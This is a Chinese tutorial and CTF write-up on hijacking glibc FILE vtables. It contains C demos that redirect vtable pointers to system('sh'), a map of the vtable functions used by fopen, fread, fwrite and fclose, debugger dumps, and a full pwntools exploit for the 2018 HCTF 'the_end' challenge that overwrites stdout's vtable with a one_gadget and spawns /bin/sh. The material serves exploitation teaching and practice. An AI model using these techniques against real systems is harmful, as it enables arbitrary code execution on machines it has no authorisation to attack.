伪造 vtable 劫持程序流程 简介 前面我们介绍了 Linux 中文件流的特性(FILE),我们可以得知 Linux 中的一些常见的 IO 操作函数都需要经过 FILE 结构进行处理。尤其是_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。
因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
因此 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。
实践 这里演示了修改 vtable 中的指针,首先需要知道_IO_FILE_plus 位于哪里,对于 fopen 的情况下是位于堆内存,对于 stdin\stdout\stderr 是位于 libc.so 中。
1 2 3 4 5 6 7 8 9 10 11 int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); vtable_ptr[7 ]=0x41414141 printf ("call 0x41414141" ); }
根据 vtable 在_IO_FILE_plus 的偏移得到 vtable 的地址,在 64 位系统下偏移是 0xd8。之后需要搞清楚欲劫持的 IO 函数会调用 vtable 中的哪个函数。关于 IO 函数调用 vtable 的情况已经在 FILE 结构介绍一节给出了,知道了 printf 会调用 vtable 中的 xsputn,并且 xsputn 的是 vtable 中第八项之后就可以写入这个指针进行劫持。
并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。
利用这点可以实现给劫持的 vtable 函数传參,比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); memcopy(fp,"sh" ,3 ); vtable_ptr[7 ]=system_ptr fwrite("hi" ,2 ,1 ,fp); }
但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt" ,"rw" ); fake_vtable=malloc (0x40 ); vtable_addr=(long long *)((long long )fp+0xd8 ); vtable_addr[0 ]=(long long )fake_vtable; memcpy (fp,"sh" ,3 ); fake_vtable[7 ]=system_ptr; fwrite("hi" ,2 ,1 ,fp); }
我们首先分配一款内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 “/bin/sh” 或 “sh”。
因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。
同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。
1 2 3 4 5 6 7 print &_IO_2_1_stdin_$2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
IO调用的vtable函数 在这里给出fopen
、fread
、fwrite
、fclose
四个函数会调用的vtable函数,之前在每篇文章的末尾都已给出,在这里统一总结下,方便后面利用的时候能够较快的找到所需劫持的函数指针。
fopen函数是在分配空间,建立FILE结构体,未调用vtable中的函数。
fread函数中调用的vtable函数有:
_IO_sgetn
函数调用了vtable的_IO_file_xsgetn
。
_IO_doallocbuf
函数调用了vtable的_IO_file_doallocate
以初始化输入缓冲区。
vtable中的_IO_file_doallocate
调用了vtable中的__GI__IO_file_stat
以获取文件信息。
__underflow
函数调用了vtable中的_IO_new_file_underflow
实现文件数据读取。
vtable中的_IO_new_file_underflow
调用了vtable__GI__IO_file_read
最终去执行系统调用read。
fwrite 函数调用的vtable函数有:
_IO_fwrite
函数调用了vtable的_IO_new_file_xsputn
。
_IO_new_file_xsputn
函数调用了vtable中的_IO_new_file_overflow
实现缓冲区的建立以及刷新缓冲区。
vtable中的_IO_new_file_overflow
函数调用了vtable的_IO_file_doallocate
以初始化输入缓冲区。
vtable中的_IO_file_doallocate
调用了vtable中的__GI__IO_file_stat
以获取文件信息。
new_do_write
中的_IO_SYSWRITE
调用了vtable_IO_new_file_write
最终去执行系统调用write。
fclose
函数调用的vtable函数有:
在清空缓冲区的_IO_do_write
函数中会调用vtable中的函数。
关闭文件描述符_IO_SYSCLOSE
函数为vtable中的__close
函数。
_IO_FINISH
函数为vtable中的__finish
函数。
其他的IO函数功能相类似的调用的应该都差不多,可以参考下。
2018 HCTF the_end 题目链接
基本信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { signed int i; // [rsp+4h] [rbp-Ch] void *buf; // [rsp+8h] [rbp-8h] sleep(0); printf("here is a gift %p, good luck ;)\n", &sleep); fflush(_bss_start); close(1); close(2); for ( i = 0; i <= 4; ++i ) { read(0, &buf, 8uLL); read(0, buf, 1uLL); } exit(1337); }
分析题目,利用点很明确在 main 函数中,且:
除了 canary 保护全开
libc 基地址和 libc 版本
能够任意位置写 5 字节
思路:
利用的是在程序调用 exit
后,会遍历 _IO_list_all
,调用 _IO_2_1_stdout_
下的 vtable
中 _setbuf
函数。
可以先修改两个字节在当前 vtable
附近伪造一个 fake_vtable
,然后使用 3 个字节修改 fake_vtable
中 _setbuf
的内容为 one_gadget
。
我们先调试找出 _IO_2_1_stdout_
和 libc 的偏移,这里很蠢的地方是我最初是在 gdb 中搜索相关符号,但是其实找出的地址是 _IO_2_1_stdout_
这个符号所在的位置,而不是其在 libc 数据段上的位置,我们借助 ida 或者 libcsearch 工具找出 vtables
偏移 0x3C56F8
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .data:00000000003C56F8 dq offset _IO_file_jumps // vtables .data:00000000003C5700 public stderr .data:00000000003C5700 stderr dq offset _IO_2_1_stderr_ .data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o .data:00000000003C5700 ; fclose+F2↑r ... .data:00000000003C5708 public stdout .data:00000000003C5708 stdout dq offset _IO_2_1_stdout_ .data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o .data:00000000003C5708 ; fclose+E9↑r ... .data:00000000003C5710 public stdin .data:00000000003C5710 stdin dq offset _IO_2_1_stdin_ .data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o .data:00000000003C5710 ; fclose:loc_6D340↑r ... .data:00000000003C5718 dq offset sub_20B70 .data:00000000003C5718 _data ends .data:00000000003C5718 .bss:00000000003C5720 ; ===========================================================================
我们查看下虚表内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> x /30gx 0x7f41d9c026f8 0x7f41d9c026f8 <_IO_2_1_stdout_+216>: 0x00007f41d9c006e0 0x00007f41d9c02540 0x7f41d9c02708 <stdout>: 0x00007f41d9c02620 0x00007f41d9c018e0 0x7f41d9c02718 <DW.ref.__gcc_personality_v0>: 0x00007f41d985db70 0x0000000000000000 0x7f41d9c02728 <string_space>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02738 <__printf_va_arg_table>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02748 <transitions>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02758 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02768 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02778 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02788 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02798 <getttyname_name>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027a8 <fcvt_bufptr>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027b8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027c8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027d8 <buffer>: 0x0000000000000000 0x0000000000000000
然后此时在虚表附近寻找一个 fake_vtable
,需满足以下条件:
fake_vtable_addr
+ 0x58 = libc_base
+ off_set_3
其中 0x58 根据下表查处是 set_buf
在虚表的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void * funcs[] = {1 NULL , 2 NULL , 3 exit , 4 NULL , 5 NULL , 6 NULL , 7 NULL , 8 NULL , 9 NULL , 10 NULL , 11 NULL , 12 NULL , 13 NULL , 14 NULL , 15 NULL , 16 NULL , 17 NULL , 18 pwn, 19 NULL , 20 NULL , 21 NULL , };
我这里选择了以下地址作为 fake_vtable
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> x /60gx 0x7f41d9c02500 0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997 0x0000000000000000 0x7f41d9c02510: 0x0000000000000000 0x0000000000000000 0x7f41d9c02520 <_IO_list_all>: 0x00007f41d9c02540 0x0000000000000000 0x7f41d9c02530: 0x0000000000000000 0x0000000000000000 0x7f41d9c02540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000 0x7f41d9c02550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c025a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f41d9c02620 0x7f41d9c025b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff 0x7f41d9c025c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f41d9c03770 0x7f41d9c025d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c025e0 <_IO_2_1_stderr_+160>: 0x00007f41d9c01660 0x0000000000000000 0x7f41d9c025f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f41d9c006e0 0x7f41d9c02620 <_IO_2_1_stdout_>: 0x00000000fbad2a84 0x00005582e351c010 0x7f41d9c02630 <_IO_2_1_stdout_+16>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02640 <_IO_2_1_stdout_+32>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02650 <_IO_2_1_stdout_+48>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02660 <_IO_2_1_stdout_+64>: 0x00005582e351c410 0x0000000000000000 0x7f41d9c02670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f41d9c018e0 0x7f41d9c02690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x7f41d9c026a0 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007f41d9c03780 0x7f41d9c026b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c026c0 <_IO_2_1_stdout_+160>: 0x00007f41d9c017a0 0x0000000000000000 0x7f41d9c026d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000 0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words) pwndbg> p 0x7f41d9c025e0 -0x58 $10 = 0x7f41d9c02588pwndbg> distance 0x7f41d9c02588 0x7f41d983d000 0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words) pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000 0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
最终的利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.log_level="debug" libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so" ) p = remote('127.0.0.1' ,1234 ) rem = 0 if rem ==1 : p = remote('150.109.44.250' ,20002 ) p.recvuntil('Input your token:' ) p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU' ) sleep_ad = p.recvuntil(', good luck' ,drop=True ).split(' ' )[-1 ] libc_base = long(sleep_ad,16 ) - libc.symbols['sleep' ] one_gadget = libc_base + 0xf02b0 vtables = libc_base + 0x3C56F8 fake_vtable = libc_base + 0x3c5588 target_addr = libc_base + 0x3c55e0 print 'libc_base: ' ,hex (libc_base)print 'one_gadget:' ,hex (one_gadget)print 'exit_addr:' ,hex (libc_base + libc.symbols['exit' ])for i in range (2 ): p.send(p64(vtables+i)) p.send(p64(fake_vtable)[i]) for i in range (3 ): p.send(p64(target_addr+i)) p.send(p64(one_gadget)[i]) p.sendline("exec /bin/sh 1>&0" ) p.interactive()
根据ctfwiki给出的脚本发现是能够执行到one_gadget的,但是四个one_gadget都不能满足条件,无法成功getshell。